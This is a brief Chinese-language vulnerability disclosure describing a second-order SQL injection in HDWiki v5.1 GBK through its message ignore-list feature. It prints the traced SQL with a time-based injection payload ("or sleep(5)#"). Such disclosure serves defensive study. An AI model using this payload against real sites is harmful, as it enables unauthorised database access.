### 简要描述：
HDWiki-v5.1GBK-20121102 设计缺陷存在二次注入
### 详细说明：
[<img src="https://images.seebug.org/upload/201405/211802171470cbbf2b3afe4449adf4956e3f7166.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/211802171470cbbf2b3afe4449adf4956e3f7166.png)
登陆用户后按照图片所示代开，在忽略列表这一块，输入的东西会第一次被记录到
wiki_pms表里面,然后在重复提交一次，这次提交的时候，他会从wiki_pms表里面做一个检查，后台跟踪到的sql语句为：
检查语句：
select id,new,delstatus,og from wiki_pms where toid=2 and delstatus!=2 and drafts!=1 and `from` not in ('dasd') or sleep(5)#')
插入语句为：
REPLACE INTO wiki_blacklist (uid,blacklist) VALUES('2','dasd\') or sleep(5)#')
然后重复提交sleep函数就开始执行
### 漏洞证明：
京公网安备 11010502034610号
暂无评论